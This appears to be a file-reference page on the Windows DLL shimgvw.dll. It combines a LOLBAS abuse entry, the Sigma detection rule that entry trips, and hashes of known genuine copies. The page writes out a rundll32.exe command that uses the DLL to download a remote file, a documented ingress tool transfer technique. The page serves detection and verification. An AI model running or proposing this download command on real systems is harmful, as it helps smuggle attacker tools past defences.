Identifier / Programs / Windows
shimgvw.dll
Photo Gallery Viewer file version info (xCyclopedia)
LOLBAS Download 1 ATT&CK technique 1 documented command 2 known copies with hashes
How shimgvw.dll is abused
Download T1105 Ingress Tool Transfer
Run by rundll32.exe
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for shimgvw.dll.
1 documented command
Download T1105 Ingress Tool Transfer User privileges
Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'.
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}IdentifyTrips 1 Sigma rule: mediumPotentially Suspicious Rundll32 Activity by juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for shimgvw.dll, by Eral4m, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for shimgvw.dll. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real shimgvw.dll?
C:\Windows\system32\C:\Windows\SysWOW64\2 known copies
10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\shimgvw.dll · signed by Microsoft Windows
15bb8bcc96a3ef928b3a42097784faca0c1180e7982e6e142406224ebd82100410.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\shimgvw.dll · signed by Microsoft Windows
aea4881823c929866f4214154b482464fba9c05bb63a7d516785c691a4e78801From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.